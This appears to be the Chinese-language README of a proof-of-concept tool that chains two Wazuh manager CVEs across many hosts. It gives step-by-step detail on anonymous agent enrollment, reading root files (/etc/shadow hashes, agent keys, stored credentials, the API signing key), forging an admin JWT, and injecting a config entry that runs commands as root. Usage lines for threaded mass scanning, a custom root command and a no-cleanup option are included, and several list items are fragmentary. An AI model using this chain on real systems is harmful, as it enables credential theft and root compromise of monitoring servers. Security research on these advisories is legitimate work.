单文件、仅使用标准库的多主机 PoC,串联 CVE-2026-74034 和 CVE-2026-74041。两份公告均发布于 2026 年 10 月 13 日; 修复程序随 Wazuh 4.14.8 于 2026 年 9 月 23 日发布。 4.14.8 版本是已修补的版本,而非受影响的目标。
当所需的 manager 服务可访问且已启用无密码 agent 注册时, 该脚本会实现以下利用链:
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
当默认随附的无密码 authd 注册可达时(<auth><use_password>no</use_password>),无需预先存在的凭据。注册密码或必需的客户端证书会改变此前提条件。仅 CVE-2026-74041 需要具有配置更新权限的已认证 API 用户;在此链条中,API 访问在签名密钥泄露之后才发生。
| CVE | CVSS / 向量 | 受影响版本 | 一句话描述 |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | upgrade_custom 的 parameters.file_path 由 ROOT 权限的 wm_agent_upgrade 打开,仅进行 wfopen() 存在性检查,并将内容流式返回给已注册的 agent → 任意 root 文件读取 |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands 接受大写 <LOG_FORMAT>,大小写敏感的 Python 校验器会漏过,但大小写不敏感的 C logcollector 会遵循 → 以 root 身份执行 full_command localfile |
这两个版本范围描述的是各自的缺陷;完整链条的文档化重叠范围为 >=4.14.3 <4.14.8。其他公告不在本 PoC 范围内。
pip,无需 pycryptodome,无需 cryptography)。1515、1514、55000。# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| 标志 | 默认值 | 含义 |
|---|---|---|
--port | 55000 | Wazuh REST API 端口 |
--authd-port | 1515 | authd 注册端口 |
--remoted-port | 1514 | agent 安全通道端口 |
--timeout | 10 | socket 超时(秒) |
--agent-name | poc-<rand8> | 在 manager 上注册的名称 |
--cmd | (id; hostname) > …/zz_pwned | 第 4 阶段的 root 命令 |
--no-rce | 关闭 | 跳过第 4 阶段 |
--keep | 关闭 | 不恢复 ossec.conf / 不删除标记文件 |
--debug | 关闭 | 转储协议消息 |
--threads | 5 | 主机并行度 |
--api-user | wazuh | 放入伪造 JWT 的用户名 |
每台主机的退出始终是优雅的:拒绝、受密码保护的 authd、已修补的版本或加密不匹配都会报告确切的阻塞点,并且运行会继续处理剩余主机。
探测 TCP 55000(API)、1515(authd)、1514(remoted)。在禁用 TLS 验证的情况下请求 GET /,并在 API 未认证暴露时报告 api_version。在加固构建上,GET / 返回 401;此时真正的 manager 版本会在第 3 阶段从 /var/ossec/VERSION.json 中恢复,并与 4.14.8 进行比对标记。
建立 TLS 连接(4.4+ 的 authd 仅支持 TLS;脚本也会对非常旧的构建重试纯 TCP),然后发送 OSSEC A:'<name>'\n。manager 回复 OSSEC K:'<id> <name> <ip> <key>';脚本保留 64 位十六进制的 agent 密钥。
复现来自 src/os_crypto/shared/msgs.c 的 Wazuh agent 加密逻辑:
[4 字节小端长度][payload]ip=any)agent,payload 为 !<id>!#AES:<ciphertext>MD5(agent_key_hex)(32 个 ASCII 字节),IV FEDCBA0987654321,PKCS#7!…! 填充 + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)它发送 #!-agent startup {"version":"v4.14.6"} 以及携带 Ubuntu 平台/架构的 keepalive,使 agent 在全局数据库中变为 active,然后发送一个队列 u(UPGRADE_MQ)任务:
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd 将其转发到 WM_UPGRADE_SOCK;ROOT 权限的 wazuh-modulesd 打开该文件
(wfopen,无路径/扩展名/签名检查),并将原始字节以 base64 write 块的形式流式返回。
脚本重新组装这些块,并实时打印 [ACC] 行:
| 文件 | 处理方式 |
|---|---|
/etc/shadow | 仅 root: / wazuh: 行(哈希完整打印) |
/var/ossec/etc/client.keys | 完整(截断至 25 行,统计字节数) |
/var/ossec/etc/authd.pass | 完整(匿名注册时不存在) |
/var/ossec/api/configuration/security/private_key.pem | 完整 |
/var/ossec/etc/ossec.conf | 集群 <key>、indexer 凭据、<auth> 密码 |
/var/ossec/VERSION.json | 用于侦察的版本回退 |
在文件之间,脚本会发送 upgrade_update_status(否则任务管理器会让 agent 保持
In progress 状态,并拒绝下一个任务)。
iss=wazuh、aud="Wazuh API REST"、sub=wazuh、rbac_roles=[1]、
rbac_mode=white、exp-nbf=900)。通过 GET /agents 验证。GET /manager/configuration?raw=true,在最后一个
</ossec_config> 之前插入一个 <localfile>,其中包含小写的 <log_format>syslog</log_format>
诱饵和大写的 <LOG_FORMAT>full_command</LOG_FORMAT> 以及命令。PUT /manager/configuration(application/octet-stream),然后 PUT /manager/restart。GET /lists/files/zz_pwned?raw=true 以获取 root 命令输出。--keep:PUT 原始 ossec.conf,重启,并
DELETE /lists/files/zz_pwned(重试直到标记消失)。[+](状态)、[ACC](收集到的
访问/机密)、[!](警告)、[-](失败),并带有主机前缀。findings.jsonl 追加在脚本旁边:每个主机一个 JSON 对象,包含
version、agent_id、agent_key(注册成功时)、accesses、
findings、ok,以及可选的 error。请将该文件视为敏感文件。ok 表示至少读取了一个文件,而非确认 RCE。client.keys /
global.db 中留下一个 agent。摘要会打印遗留的 agent id。删除它需要 API
(DELETE /agents/{id}),除非阶段 4 成功,否则不在范围内。ossec.conf,重启
管理器,并短暂地以 root 身份运行命令。默认命令仅写入一个
标记文件。除非传入 --keep,脚本会尝试恢复
原始配置并删除标记。清理是尽力而为:配置
恢复未经验证,异常或中断可能会跳过清理。
请保留独立备份,并在实验管理器上手动验证恢复。
后续运行不会恢复中断前的配置。</ossec_config> 之前,并使用 frequency 10;标记在 wazuh-logcollector
重新加载后(重启之后)写入。GET / 返回 401,因此 api_version 通常取自
通过 CVE-2026-74034 读取的 /var/ossec/VERSION.json。<use_password>no</use_password>(易受攻击的默认值)时,
/var/ossec/etc/authd.pass 不存在,因此该读取合理地返回空。GET /manager/files?path=... 在 4.14.x 上不存在;脚本使用
/manager/configuration?raw=true 和 /lists/files/<name>?raw=true。作者报告的实验室测试:Wazuh 4.14.5 运行于 Ubuntu 24.04;注册、文件读取、伪造 JWT 和命令执行标记均报告成功,随后进行了配置恢复和标记删除。192.0.2.10 是文档占位符。本仓库不包含可独立审查的运行记录或修补版本对照结果。
本仓库提供了一个结合两个已公开漏洞的实现。原始漏洞报告由 Wazuh 致谢以下人员:
有关补丁版本,请参阅 Wazuh 4.14.8 发行说明。